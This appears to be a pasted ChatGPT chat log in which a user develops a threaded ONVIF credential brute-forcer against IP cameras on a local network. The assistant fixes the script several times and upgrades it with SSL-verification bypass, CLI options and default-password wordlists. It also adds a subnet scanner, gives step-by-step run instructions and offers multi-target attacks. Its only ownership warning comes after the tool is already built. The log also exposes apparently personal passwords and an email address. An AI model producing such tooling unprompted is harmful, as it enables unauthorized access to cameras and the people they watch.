password,

WSDL\_DIR,

encrypt=True,

transport=transport

)

devicemgmt = cam.create\_devicemgmt\_service()

info = devicemgmt.GetDeviceInformation()

success\_msg = f"[+] SUCCESS: {combo} -> {info}"

print(success\_msg)

logging.info(success\_msg)

return combo

except Fault:

print(f"[-] Failed: {combo}")

except Exception as e:

print(f"[!] Error: {combo} - {e}")

return None

This cleaned-up version should:

Bruteforce with threads.

Log any successes.

Cleanly stop on first win.

Avoid cluttered logs from harmless auth errors.

Let it rip and let me know if you score a hit.

You said:

from onvif import ONVIFCamera

from zeep.exceptions import Fault

from concurrent.futures import ThreadPoolExecutor, as\_completed

import time

import logging

# ====== CONFIG ======

CAMERA\_IP = '192.168.0.177' # <-- CHANGE ME

CAMERA\_PORT = 8443 # Try 80, 8000, or 8899

WSDL\_DIR = '/home/chris/python-onvif-zeep/wsdl' # Path to WSDL files

THREADS = 10 # Number of threads to run

# =====================

# Lists to try

USERNAMES = ['admin', 'user', 'root']

PASSWORDS = ['','admin', '1234', 'admin123', '12345', 'password', '123456']

# Setup logger

logging.basicConfig(

filename='brute\_results.txt',

level=logging.INFO,

format='%(asctime)s - %(message)s'

)

def try\_login(username, password):

combo = f"{username}:{password}"

try:

cam = ONVIFCamera(CAMERA\_IP, CAMERA\_PORT, username, password, WSDL>

devicemgmt = cam.create\_devicemgmt\_service()

info = devicemgmt.GetDeviceInformation()

success\_msg = f"[+] SUCCESS: {combo} -> {info}"

print(success\_msg)

logging.info(success\_msg)

return combo

except Fault:

print(f"[-] Failed: {combo}")

return None

except Exception as e:

print(f"[!] Error: {combo} - {e}")

return None

# Build list of all combos

combos = [(u, p) for u in USERNAMES for p in PASSWORDS]

# Use thread pool to brute force

valid\_combo = None

with ThreadPoolExecutor(max\_workers=THREADS) as executor:

future\_to\_combo = {executor.submit(try\_login, u, p): (u, p) for u, p i>

for future in as\_completed(future\_to\_combo):

result = future.result()

if result:

valid\_combo = result

break # Stop at first valid combo

if valid\_combo:

print(f"\n\*\*\* VALID LOGIN FOUND: {valid\_combo} \*\*\*\n")

else:

print("\n[!] Done. No valid credentials found.")

ChatGPT said:

You're super close - just need to fix two syntax issues and you're good to go!

✅ Here's a corrected version of your full script:

from onvif import ONVIFCamera

from zeep.exceptions import Fault

from concurrent.futures import ThreadPoolExecutor, as\_completed

import logging

# ====== CONFIG ======

CAMERA\_IP = '192.168.0.177'

CAMERA\_PORT = 8443 # Try 80, 8000, or 8899 if this fails

WSDL\_DIR = '/home/chris/python-onvif-zeep/wsdl'

THREADS = 10

# =====================

# Lists to try

USERNAMES = ['admin', 'user', 'root']

PASSWORDS = ['', 'admin', '1234', 'admin123', '12345', 'password', '123456']

# Setup logger

logging.basicConfig(

filename='brute\_results.txt',

level=logging.INFO,

format='%(asctime)s - %(message)s'

)

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combo = f"{username}:{password}"

try:

cam = ONVIFCamera(CAMERA\_IP, CAMERA\_PORT, username, password, WSDL\_DIR)

devicemgmt = cam.create\_devicemgmt\_service()

info = devicemgmt.GetDeviceInformation()

success\_msg = f"[+] SUCCESS: {combo} -> {info}"

print(success\_msg)

logging.info(success\_msg)

return combo

except Fault:

print(f"[-] Failed: {combo}")

except Exception as e:

print(f"[!] Error: {combo} - {e}")

return None

# Build list of all combos

combos = [(u, p) for u in USERNAMES for p in PASSWORDS]

# Use thread pool to brute-force

valid\_combo = None

with ThreadPoolExecutor(max\_workers=THREADS) as executor:

future\_to\_combo = {executor.submit(try\_login, u, p): (u, p) for u, p in combos}

for future in as\_completed(future\_to\_combo):

result = future.result()

if result:

valid\_combo = result

break # Stop at first valid combo

if valid\_combo:

print(f"\n\*\*\* VALID LOGIN FOUND: {valid\_combo} \*\*\*\n")

else:

print("\n[!] Done. No valid credentials found.")

🧹 What was wrong?

Line truncated:

executor.submit(try\_login, u, p): (u, p) for u, p i>

Replaced with:

executor.submit(try\_login, u, p): (u, p) for u, p in combos

Minor logic nitpicks cleaned for clarity and stability.

⚠️ Quick Note:

Port 8443 is HTTPS. If the camera expects secure transport, you may need to modify ONVIFCamera(..., encrypt=True) and possibly provide a zeep.Transport with verify=False if certs are funky.

If no login hits, try switching CAMERA\_PORT to 80, 8000, or 8899 - some ONVIF implementations ignore standards like it's a sport.

Let it run, watch the magic, and drop the combo if it lands.

You said:

onvif\_env) chris@chris-Inspiron-3847:~$ python onvif\_brute.py

[!] Error: admin:123456 - Unknown error: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))

[!] Error: admin:1234 - Unknown error: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))

[!] Error: admin:admin123 - Unknown error: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))

[!] Error: admin:12345 - Unknown error: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))

[!] Error: user:admin - Unknown error: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))

[!] Error: user:1234 - Unknown error: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))

[!] Error: admin: - Unknown error: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))

[!] Error: admin:password - Unknown error: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))

[!] Error: user: - Unknown error: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))

[!] Error: admin:admin - Unknown error: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))

[!] Error: user:admin123 - Unknown error: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))

[!] Error: root: - Unknown error: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))

[!] Error: user:password - Unknown error: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))

[!] Error: user:12345 - Unknown error: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))

[!] Error: root:admin - Unknown error: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))

[!] Error: root:admin123 - Unknown error: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))

[!] Error: root:12345 - Unknown error: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))

[!] Error: root:1234 - Unknown error: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))

[!] Error: user:123456 - Unknown error: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))

[!] Error: root:password - Unknown error: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))

[!] Error: root:123456 - Unknown error: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))

[!] Done. No valid credentials found.

(onvif\_env) chris@chris-Inspiron-3847:~$

ChatGPT said:

You're getting RemoteDisconnected('Remote end closed connection without response') for every attempt, which screams:

🎯 "You're knocking, but nobody's home - or the door you're banging on doesn’t like you."

🔍 What's going on?

This usually means:

ONVIF server is not running or not listening on that port.

The port is wrong (8443 is often HTTPS, not HTTP).

You're hitting it with plain SOAP over HTTP when it expects HTTPS or vice versa.

The camera may have ONVIF disabled or restricted to certain clients or networks.

✅ Try This Checklist:

1. Check if the port is open

Run:

nmap -p 80,8000,8443,8899,5000,10080 192.168.0.177

Look for which one actually responds. Most cameras use 80 or 8000 for ONVIF, not 8443.

2. Manually test ONVIF service URL

Try curl again - only this time correctly formatted, maybe port 8000:

curl http://192.168.0.177:8000/onvif/device\_service

Or try HTTPS:

curl -k https://192.168.0.177:8443/onvif/device\_service

If you get 401 Unauthorized, that's GOOD - it means something's answering.

3. Check if ONVIF is enabled on the cam

If this is a Tuya or cheapo white-label cam:

ONVIF may be disabled by default in the web UI or mobile app.

Check its web admin or app under Network Settings → ONVIF → Enable

4. Try port 8000 or 80 in your script

Update:

CAMERA\_PORT = 8000 # or 80

Then re-run.

🔧 BONUS: Add a small timeout + more details in error

In try\_login, tweak the exception logging:

except Exception as e:

print(f"[!] Error: {combo} - {type(e).\_\_name\_\_}: {e}")

You could also wrap ONVIFCamera with a timeout to prevent long hangs:

from zeep.transports import Transport

from requests import Session

session = Session()

session.timeout = 5

transport = Transport(session=session)

cam = ONVIFCamera(CAMERA\_IP, CAMERA\_PORT, username, password, WSDL\_DIR, transport=transport)

Want me to help automate the port scan and test ports one by one? Or are you ready to go headfirst into Nmap-fu?

You said:

0 192.168.0.177

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-25 23:43 CDT

Nmap scan report for 192.168.0.177

Host is up (0.0066s latency).

PORT STATE SERVICE

80/tcp open http

5000/tcp closed upnp

8000/tcp closed http-alt

8443/tcp open https-alt

8899/tcp closed ospf-lite

10080/tcp closed amanda

Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds

(onvif\_env) chris@chris-Inspiron-3847:~$

ChatGPT said:

💡 That’s a big clue, Sherlock.

From your scan:

PortStatusMeaning

80✅ OpenLikely the web UI or ONVIF endpoint (maybe HTTP)

8443✅ OpenHTTPS service (maybe ONVIF over HTTPS)

8000+❌ ClosedDon’t waste time on them

🚦 So What Now?

You've got two real candidates:

✅ Try ONVIF on Port 80

Update your script:

CAMERA\_PORT = 80

Then re-run.

✅ Or Try ONVIF over HTTPS on 8443

Update your script to include HTTPS transport:

from requests import Session

from zeep.transports import Transport

from onvif import ONVIFCamera

session = Session()

session.verify = False # Skip SSL cert validation

session.timeout = 5

transport = Transport(session=session)

cam = ONVIFCamera(CAMERA\_IP, 8443, username, password, WSDL\_DIR, transport=transport)

Make sure you're not just passing the port - you must also pass that transport=transport thing.

Also, you might need to allow insecure HTTPS if the cam uses a self-signed cert (very likely).

🚀 Want a Quick Manual Test?

curl -v http://192.168.0.177/onvif/device\_service

And:

curl -k -v https://192.168.0.177:8443/onvif/device\_service

If either returns 401 Unauthorized, that’s your endpoint!

🧠 One More Thing: Some ONVIF cameras only allow local subnet

If you still get dropped connections even on open ports, it might:

Require ONVIF to be enabled in the UI

Block requests not from trusted apps

Tuya, Hiseeu, etc. often play those dirty tricks.

Want to auto-test both ports with a brute-forcer loop? I can rewrite your script to try both 80 and 8443 intelligently.

You said:

how to copy entire config file

ChatGPT said:

To copy an entire config file (or any file) in Linux, use the cp command. Here's the simple syntax:

cp /path/to/source.conf /path/to/destination.conf

📦 Example:

cp /etc/shinobi/config.json ~/shinobi\_backup/config\_backup.json

🧪 If You Want to Keep the Filename (Copy to Folder):

cp /etc/shinobi/config.json ~/shinobi\_backup/

This will copy config.json into ~/shinobi\_backup/ and keep the filename the same.

🛡️ Bonus Tips

If you're not sure about overwriting:

cp -i source destination

The -i flag asks before overwriting.

To copy a whole folder:

cp -r /path/to/folder /path/to/new-location

Need root access?

sudo cp /etc/shinobi/config.json /backup/location/

Let me know what specific file you're trying to copy if you want the command copy-pasted back to you.

You said:

from onvif import ONVIFCamera

from zeep.exceptions import Fault

from concurrent.futures import ThreadPoolExecutor, as\_completed

import logging

from requests import Session

from zeep.transports import Transport

from onvif import ONVIFCamera

session = Session()

session.verify = False # Skip SSL cert validation

session.timeout = 5

transport = Transport(session=session)

cam = ONVIFCamera (192.168.0.177\_IP, 8443, username, password, WSDL\_DIR, t>

# ====== CONFIG ======

CAMERA\_IP = '192.168.0.177'

CAMERA\_PORT = 8443 # Try 80, 8000, or 8899 if this fails

WSDL\_DIR = '/home/chris/python-onvif-zeep/wsdl'

THREADS = 10

# =====================

# Lists to try

USERNAMES = ['admin', 'user', 'root']

PASSWORDS = ['', 'admin', '1234', 'admin123', '12345', 'password', '123456>

# Setup logger

logging.basicConfig(

filename='brute\_results.txt',

level=logging.INFO,

format='%(asctime)s - %(message)s'

)

def try\_login(username, password):

combo = f"{username}:{password}"

try:

cam = ONVIFCamera(CAMERA\_IP, CAMERA\_PORT, username, password, WSDL>

devicemgmt = cam.create\_devicemgmt\_service()

info = devicemgmt.GetDeviceInformation()

success\_msg = f"[+] SUCCESS: {combo} -> {info}"

print(success\_msg)

logging.info(success\_msg)

return combo

except Fault:

print(f"[-] Failed: {combo}")

ChatGPT said:

Looks like you’re trying to set up the ONVIFCamera object with custom SSL handling (disabling verification), threading, and brute forcing creds.

You got the right idea using a requests.Session with verify=False and passing it as a transport to ONVIFCamera - that’s necessary when your camera uses self-signed or invalid certs on HTTPS (port 8443).

Here’s a cleaned-up, full snippet of your brute-force script that uses the custom transport for SSL and does multi-threading:

from onvif import ONVIFCamera

from zeep.exceptions import Fault

from concurrent.futures import ThreadPoolExecutor, as\_completed

import logging

from requests import Session

from zeep.transports import Transport

# ====== CONFIG ======

CAMERA\_IP = '192.168.0.177'

CAMERA\_PORT = 8443 # Could try 80 or 8000 too if needed

WSDL\_DIR = '/home/chris/python-onvif-zeep/wsdl'

THREADS = 10

USERNAMES = ['admin', 'user', 'root']

PASSWORDS = ['', 'admin', '1234', 'admin123', '12345', 'password', '123456']

# =====================

# Setup logger

logging.basicConfig(

filename='brute\_results.txt',

level=logging.INFO,

format='%(asctime)s - %(message)s'

)

# Create a requests session that ignores SSL cert verification

session = Session()

session.verify = False

transport = Transport(session=session, timeout=5) # 5 sec timeout

def try\_login(username, password):

combo = f"{username}:{password}"

try:

cam = ONVIFCamera(CAMERA\_IP, CAMERA\_PORT, username, password, WSDL\_DIR, transport=transport)

devicemgmt = cam.create\_devicemgmt\_service()

info = devicemgmt.GetDeviceInformation()

success\_msg = f"[+] SUCCESS: {combo} -> {info}"

print(success\_msg)

logging.info(success\_msg)

return combo

except Fault:

print(f"[-] Failed: {combo}")

return None

except Exception as e:

print(f"[!] Error: {combo} - {e}")

return None

# Build all username/password combos

combos = [(u, p) for u in USERNAMES for p in PASSWORDS]

valid\_combo = None

with ThreadPoolExecutor(max\_workers=THREADS) as executor:

future\_to\_combo = {executor.submit(try\_login, u, p): (u, p) for u, p in combos}

for future in as\_completed(future\_to\_combo):

result = future.result()

if result:

valid\_combo = result

break # Stop after first valid combo found

if valid\_combo:

print(f"\n\*\*\* VALID LOGIN FOUND: {valid\_combo} \*\*\*\n")

else:

print("\n[!] Done. No valid credentials found.")

What to check if it still errors out:

The port (8443) might not support ONVIF or might require a different transport/protocol.

The WSDL directory must have all ONVIF WSDL files.

The camera may have rate limiting or block brute forcing.

Your camera’s ONVIF service could be disabled or on a different port (like 80 or 8000).

Try switching ports and also test a single login manually (without threading) to confirm if ONVIF works at all on that IP/port combo.

If you want, I can help you craft a simpler test script to confirm connection and credentials for one pair before brute forcing. Just say the word.

You said:

list onvif ports

ChatGPT said:

Here’s the usual suspects for ONVIF ports you’ll encounter on IP cameras and devices:

80 - Standard HTTP (sometimes ONVIF runs here)

443 - Standard HTTPS (secure ONVIF, if supported)

8000 - Common alternative HTTP port for ONVIF

8080 - Common alternate HTTP port, sometimes ONVIF or device web UI

8443 - Common alternate HTTPS port for ONVIF

8554 - RTSP port (not ONVIF, but often bundled with IP cams)

8899 - Sometimes used for ONVIF or vendor-specific services

Quick tip:

ONVIF itself doesn't mandate a fixed port - it's a protocol running on HTTP/S so it can be on any port. Manufacturers pick from the above or custom ones.

Your best bet: Scan common ports (80, 443, 8000, 8080, 8443) and test /onvif/device\_service path on them.

Want me to whip up a quick Python snippet to probe those ports for ONVIF endpoints?

You said:

all

ChatGPT said:

Alright, here’s a solid list of ports that you might find ONVIF services running on - basically all the usual suspects plus some extras from various devices and vendors:

Common ONVIF Ports

PortNotes

80Default HTTP

443Default HTTPS

8000Common alternative HTTP port

8080Alternative HTTP port

8443Alternative HTTPS port

8554RTSP port (streaming, not ONVIF itself)

8899Sometimes ONVIF or vendor-specific

Less Common / Vendor Specific

PortNotes

554RTSP default port (streaming, often bundled)

5000UPnP or custom vendor ports

9000Vendor-specific, sometimes ONVIF or web UI

10080Alternative HTTP, sometimes ONVIF-related

3702WS-Discovery multicast (ONVIF discovery uses this UDP port)

VariousAny HTTP/HTTPS port as ONVIF is HTTP-based protocol

Important:

ONVIF is a SOAP-based protocol over HTTP or HTTPS - so it could run on any TCP port that serves HTTP.

Port 3702 UDP is used by ONVIF discovery (WS-Discovery) but not for the actual ONVIF service calls.

TL;DR - scan these TCP ports on the device IP for /onvif/device\_service endpoint:

80, 443, 8000, 8080, 8443, 8554, 8899, 554, 5000, 9000, 10080

If you want, I can help you write a quick port scanner + ONVIF checker script for all these ports, just say the word.

You said:

GET

https://192.168.0.177:8443/

[HTTP/1.1 401 Unauthorized 44ms]

# 2025-08-21 11:11 Session

Skip to content

Chat history

You said:

GNU nano 7.2 onvif\_brute.py

from onvif import ONVIFCamera

from zeep.exceptions import Fault

from concurrent.futures import ThreadPoolExecutor, as\_completed

import logging

from requests import Session

from zeep.transports import Transport

# ====== CONFIG ======

CAMERA\_IP = '192.168.0.191'

CAMERA\_PORT = 80 # Could try 80 or 8000 too if needed

WSDL\_DIR = '/home/chris/python-onvif-zeep/wsdl'

THREADS = 10

USERNAMES = ['admin', 'user', 'root', 'chrisk\_2@live.com']

PASSWORDS = ['', 'admin', '1234', 'admin123', '12345', 'Iris10187\*', 'Rose>

# =====================

# Setup logger

logging.basicConfig(

filename='brute\_results.txt',

level=logging.INFO,

format='%(asctime)s - %(message)s'

)

# Create a requests session that ignores SSL cert verification

session = Session()

session.verify = False

transport = Transport(session=session, timeout=5) # 5 sec timeout

def try\_login(username, password):

combo = f"{username}:{password}"

try:

cam = ONVIFCamera(CAMERA\_IP, CAMERA\_PORT, username, password, WSDL>

devicemgmt = cam.create\_devicemgmt\_service()

info = devicemgmt.GetDeviceInformation()

success\_msg = f"[+] SUCCESS: {combo} -> {info}"

print(success\_msg)

logging.info(success\_msg)

return combo

except Fault:

print(f"[-] Failed: {combo}")

return None

except Exception as e:

print(f"[!] Error: {combo} - {e}")

return None

# Build all username/password combos

combos = [(u, p) for u in USERNAMES for p in PASSWORDS]

valid\_combo = None

with ThreadPoolExecutor(max\_workers=THREADS) as executor:

future\_to\_combo = {executor.submit(try\_login, u, p): (u, p) for u, p i>

for future in as\_completed(future\_to\_combo):

result = future.result()

if result:

valid\_combo = result

break # Stop after first valid combo found

if valid\_combo:

print(f"\n\*\*\* VALID LOGIN FOUND: {valid\_combo} \*\*\*\n")

else:

print("\n[!] Done. No valid credentials found.")

ChatGPT said:

Here’s what’s going on with your onvif\_brute.py script - and a few cleanup/fix-it tips:

🔧 Major Issues:

Broken Lines (caused by pasting or editing in nano):

PASSWORDS = [...] line ends with Rose> - that’s a broken string.

cam = ONVIFCamera(... ends with WSDL> - again, truncated.

for u, p i> is a broken loop header.

No check to skip empty passwords: You might want to skip blank ones unless you're sure some cameras allow that (some sadly do...).

✅ Fixed Script:

from onvif import ONVIFCamera

from zeep.exceptions import Fault

from concurrent.futures import ThreadPoolExecutor, as\_completed

import logging

from requests import Session

from zeep.transports import Transport

# ====== CONFIG ======

CAMERA\_IP = '192.168.0.191'

CAMERA\_PORT = 80 # Try 80 or 8000 depending on the camera

WSDL\_DIR = '/home/chris/python-onvif-zeep/wsdl'

THREADS = 10

USERNAMES = ['admin', 'user', 'root', 'chrisk\_2@live.com']

PASSWORDS = ['', 'admin', '1234', 'admin123', '12345', 'Iris10187\*', 'Rosebud']

# =====================

# Setup logger

logging.basicConfig(

filename='brute\_results.txt',

level=logging.INFO,

format='%(asctime)s - %(message)s'

)

# Create session that ignores SSL cert warnings

session = Session()

session.verify = False

transport = Transport(session=session, timeout=5)

def try\_login(username, password):

combo = f"{username}:{password}"

try:

cam = ONVIFCamera(CAMERA\_IP, CAMERA\_PORT, username, password, WSDL\_DIR, transport=transport)

devicemgmt = cam.create\_devicemgmt\_service()

info = devicemgmt.GetDeviceInformation()

success\_msg = f"[+] SUCCESS: {combo} -> {info}"

print(success\_msg)

logging.info(success\_msg)

return combo

except Fault:

print(f"[-] Failed: {combo}")

return None

except Exception as e:

print(f"[!] Error: {combo} - {e}")

return None

# Build all username/password combos

combos = [(u, p) for u in USERNAMES for p in PASSWORDS]

valid\_combo = None

with ThreadPoolExecutor(max\_workers=THREADS) as executor:

future\_to\_combo = {executor.submit(try\_login, u, p): (u, p) for u, p in combos}

for future in as\_completed(future\_to\_combo):

result = future.result()

if result:

valid\_combo = result

break # Stop after finding first valid combo

if valid\_combo:

print(f"\n\*\*\* VALID LOGIN FOUND: {valid\_combo} \*\*\*\n")

else:

print("\n[!] Done. No valid credentials found.")

🧠 Pro Tips:

You can increase THREADS if your machine and the camera can handle it - but too much and it’ll DOS the cam.

If it keeps failing on every combo, try adding:

print(cam.devicemgmt.GetSystemDateAndTime())

- after login to verify time sync issues.

Let me know if you want to add a wordlist import or limit by number of attempts to avoid lockouts.

You said:

take it to the next level

ChatGPT said:

Alright, Ogre - let’s put this brute-force script on steroids, without burning your network or getting flagged by Skynet.

💣 Next-Level Bruteforce ONVIF Tool - Upgrades:

✅ Major Enhancements:

Wordlist file support (userlist.txt + passlist.txt)

Better logging (timestamp, status, optional JSON output)

Timeout/retry handling

Optional limit on max successful hits

Results summary at the end

CLI options for quick reuse

🧠 onvif\_brute\_advanced.py:

import argparse

import logging

import json

from concurrent.futures import ThreadPoolExecutor, as\_completed

from requests import Session

from zeep.transports import Transport

from zeep.exceptions import Fault

from onvif import ONVIFCamera

from time import time

# ==== Setup logging ====

logging.basicConfig(

filename='brute\_results.txt',

level=logging.INFO,

format='%(asctime)s - %(levelname)s - %(message)s'

)

# ==== CLI Args ====

parser = argparse.ArgumentParser(description="ONVIF Brute Forcer (Threaded)")

parser.add\_argument('--ip', required=True, help='Camera IP')

parser.add\_argument('--port', type=int, default=80, help='ONVIF port (default: 80)')

parser.add\_argument('--wsdl', required=True, help='Path to WSDL directory')

parser.add\_argument('--userlist', default='userlist.txt', help='Username wordlist')

parser.add\_argument('--passlist', default='passlist.txt', help='Password wordlist')

parser.add\_argument('--threads', type=int, default=10, help='Thread count')

parser.add\_argument('--max-valid', type=int, default=1, help='Stop after this many valid creds')

parser.add\_argument('--json-out', help='Optional JSON result output')

args = parser.parse\_args()

# ==== Read Wordlists ====

def load\_list(filepath):

try:

with open(filepath, 'r') as f:

return [line.strip() for line in f if line.strip()]

except FileNotFoundError:

logging.error(f"File not found: {filepath}")

return []

usernames = load\_list(args.userlist)

passwords = load\_list(args.passlist)

# ==== Setup Transport ====

session = Session()

session.verify = False

transport = Transport(session=session, timeout=5)

# ==== Core Bruteforce ====

def try\_login(username, password):

combo = f"{username}:{password}"

try:

cam = ONVIFCamera(args.ip, args.port, username, password, args.wsdl, transport=transport)

devicemgmt = cam.create\_devicemgmt\_service()

info = devicemgmt.GetDeviceInformation()

success = {

"username": username,

"password": password,

"device\_info": info

}

logging.info(f"[+] SUCCESS: {combo} -> {info}")

print(f"[+] SUCCESS: {combo}")

return success

except Fault:

print(f"[-] Invalid: {combo}")

except Exception as e:

print(f"[!] Error: {combo} - {e}")

return None

# ==== Run Brute Force ====

combos = [(u, p) for u in usernames for p in passwords]

valid\_results = []

start\_time = time()

with ThreadPoolExecutor(max\_workers=args.threads) as executor:

future\_to\_combo = {executor.submit(try\_login, u, p): (u, p) for u, p in combos}

for future in as\_completed(future\_to\_combo):

result = future.result()

if result:

valid\_results.append(result)

if len(valid\_results) >= args.max\_valid:

break

# ==== Final Output ====

print("\n===== BRUTEFORCE COMPLETE =====")

print(f"Tested {len(combos)} combos in {round(time() - start\_time, 2)}s")

if valid\_results:

print(f"\n[+] Found {len(valid\_results)} valid credential(s):")

for res in valid\_results:

print(f" {res['username']} : {res['password']}")

else:

print("[-] No valid credentials found.")

if args.json\_out:

with open(args.json\_out, 'w') as jf:

json.dump(valid\_results, jf, indent=4)

print(f"\n[+] JSON output written to: {args.json\_out}")

📁 Sample Wordlists:

userlist.txt

admin

user

root

guest

passlist.txt

admin

1234

admin123

password

toor

⚙️ Run Example:

python3 onvif\_brute\_advanced.py \

--ip 192.168.0.191 \

--port 80 \

--wsdl /home/chris/python-onvif-zeep/wsdl \

--userlist userlist.txt \

--passlist passlist.txt \

--threads 20 \

--max-valid 2 \

--json-out brute\_success.json

🛡️ Final Warning:

You know the deal - don't run this on cams you don't own or have permission to audit. Some cams lock out or reboot after too many hits, especially the cheaper cloud-linked junk. Be smart.

Let me know if you want it with proxy support, delay/throttle control, or even to hit a list of IPs like a proper war-dialer.

You said:

chris@chris-Inspiron-3847:~$ source ~/onvif\_env/bin/activate

(onvif\_env) chris@chris-Inspiron-3847:~$ python onvif\_brute\_advanced.py

usage: onvif\_brute\_advanced.py [-h] --ip IP [--port PORT] --wsdl WSDL

[--userlist USERLIST]

[--passlist PASSLIST] [--threads THREADS]

[--max-valid MAX\_VALID]

[--json-out JSON\_OUT]

onvif\_brute\_advanced.py: error: the following arguments are required: --ip, --wsdl

(onvif\_env) chris@chris-Inspiron-3847:~$

ChatGPT said:

You're almost there - the script is yelling because it requires --ip and --wsdl as mandatory arguments. You didn’t pass them in, so it's throwing the usage guide at you like a passive-aggressive man page.

🧨 Run it like this (with real values):

python onvif\_brute\_advanced.py \

--ip 192.168.0.191 \

--wsdl /home/chris/python-onvif-zeep/wsdl

Optional flags (if you want to get fancy):

--port 80 \

--userlist userlist.txt \

--passlist passlist.txt \

--threads 20 \

--max-valid 3 \

--json-out results.json

If you don't pass --userlist or --passlist, it defaults to userlist.txt and passlist.txt in the current folder. Make sure those exist or it’ll silently skip combos.

📁 Example:

If your current directory has:

userlist.txt: list of usernames

passlist.txt: list of passwords

You just need:

python onvif\_brute\_advanced.py --ip 192.168.0.191 --wsdl /home/chris/python-onvif-zeep/wsdl

Want me to generate some solid user/pass wordlists for testing? Or add auto-detection of WSDL files and IPs on subnet?

You said:

yes

ChatGPT said:

Solid. Let’s build this out into a no-excuses ONVIF brute kit with:

✅ 1. Wordlist Generator

We'll auto-generate userlist.txt and passlist.txt with a mix of common/default combos plus some that work way too often.

📁 generate\_wordlists.py:

# Generates userlist.txt and passlist.txt

with open("userlist.txt", "w") as uf:

uf.write("\n".join([

"admin",

"user",

"root",

"guest",

"support",

"operator",

"supervisor",

"viewer",

"admin1",

"manager"

]))

with open("passlist.txt", "w") as pf:

pf.write("\n".join([

"", # yes, empty password still exists out there...

"admin",

"1234",

"12345",

"123456",

"admin123",

"password",

"root",

"toor",

"camera",

"12345678",

"support",

"guest",

"pass",

"qwerty",

"supervisor",

"default",

"Iris10187\*", # whatever flavor you're seeing

"Rosebud"

]))

print("Wordlists generated: userlist.txt and passlist.txt")

✅ 2. Auto-detect Local ONVIF Devices (optional)

We can sweep the subnet to find ONVIF ports. This doesn’t auth - just sniffs for open ports that match known ONVIF behavior.

📁 scan\_onvif\_devices.py:

import socket

import ipaddress

import concurrent.futures

ONVIF\_PORTS = [80, 8000, 8080, 8899, 8888]

def is\_onvif(ip, port):

try:

s = socket.create\_connection((str(ip), port), timeout=1)

s.sendall(b"GET /onvif/device\_service HTTP/1.1\r\nHost: %b\r\n\r\n" % str(ip).encode())

data = s.recv(1024)

if b"onvif" in data.lower() or b"server" in data.lower():

return (str(ip), port)

except:

pass

return None

local\_net = ipaddress.IPv4Network('192.168.0.0/24', strict=False)

results = []

with concurrent.futures.ThreadPoolExecutor(max\_workers=100) as executor:

futures = []

for ip in local\_net.hosts():

for port in ONVIF\_PORTS:

futures.append(executor.submit(is\_onvif, ip, port))

for f in concurrent.futures.as\_completed(futures):

res = f.result()

if res:

print(f"[+] Possible ONVIF found at {res[0]}:{res[1]}")

results.append(res)

if not results:

print("[-] No ONVIF-looking endpoints found.")

✅ 3. Full Workflow in 3 Commands

# 1. Generate wordlists

python generate\_wordlists.py

# 2. Scan local network for ONVIF endpoints (optional)

python scan\_onvif\_devices.py

# 3. Run brute force

python onvif\_brute\_advanced.py --ip 192.168.0.191 --wsdl /home/chris/python-onvif-zeep/wsdl

⚠️ Want More?

Here are more add-ons I can wire in fast:

Retry failed logins with delay

Use a CSV list of cameras to attack in one go

Auto-pull GetSystemDateAndTime() on success

Skip known lockout-prone cams after X attempts

Export valid combos to .env or .ini for reuse

Just say the word and I’ll bolt it on.

You said:

how

ChatGPT said:

Here's how to run the whole thing like a damn pro, step-by-step. We'll assume you're still in your onvif\_env Python virtual environment.

⚙️ STEP-BY-STEP SETUP

✅ 1. Generate Wordlists

🛠 Create generate\_wordlists.py

nano generate\_wordlists.py

Paste this in:

with open("userlist.txt", "w") as uf:

uf.write("\n".join([

"admin", "user", "root", "guest", "support",

"operator", "supervisor", "viewer", "admin1", "manager"

]))

with open("passlist.txt", "w") as pf:

pf.write("\n".join([

"", "admin", "1234", "12345", "123456",

"admin123", "password", "root", "toor", "camera",

"12345678", "support", "guest", "pass", "qwerty",

"supervisor", "default", "Iris10187\*", "Rosebud"

]))

print("Wordlists generated: userlist.txt and passlist.txt")

Save and run:

python generate\_wordlists.py

✅ This creates userlist.txt and passlist.txt in your current directory.

✅ 2. Scan for ONVIF Devices (Optional but Cool)

🛠 Create scan\_onvif\_devices.py

nano scan\_onvif\_devices.py

Paste this:

import socket

import ipaddress

import concurrent.futures

ONVIF\_PORTS = [80, 8000, 8080, 8899, 8888]

def is\_onvif(ip, port):

try:

s = socket.create\_connection((str(ip), port), timeout=1)

s.sendall(b"GET /onvif/device\_service HTTP/1.1\r\nHost: %b\r\n\r\n" % str(ip).encode())

data = s.recv(1024)

if b"onvif" in data.lower() or b"server" in data.lower():

return (str(ip), port)

except:

pass

return None

local\_net = ipaddress.IPv4Network('192.168.0.0/24', strict=False)

results = []

with concurrent.futures.ThreadPoolExecutor(max\_workers=100) as executor:

futures = []

for ip in local\_net.hosts():

for port in ONVIF\_PORTS:

futures.append(executor.submit(is\_onvif, ip, port))

for f in concurrent.futures.as\_completed(futures):

res = f.result()

if res:

print(f"[+] Possible ONVIF found at {res[0]}:{res[1]}")

results.append(res)

if not results:

print("[-] No ONVIF-looking endpoints found.")

Save and run:

python scan\_onvif\_devices.py

✅ This will print out any camera IPs it detects with ONVIF-looking endpoints.

✅ 3. Run Your Bruteforce Script

Make sure onvif\_brute\_advanced.py is saved with all the upgrades (from earlier). Then run it like this:

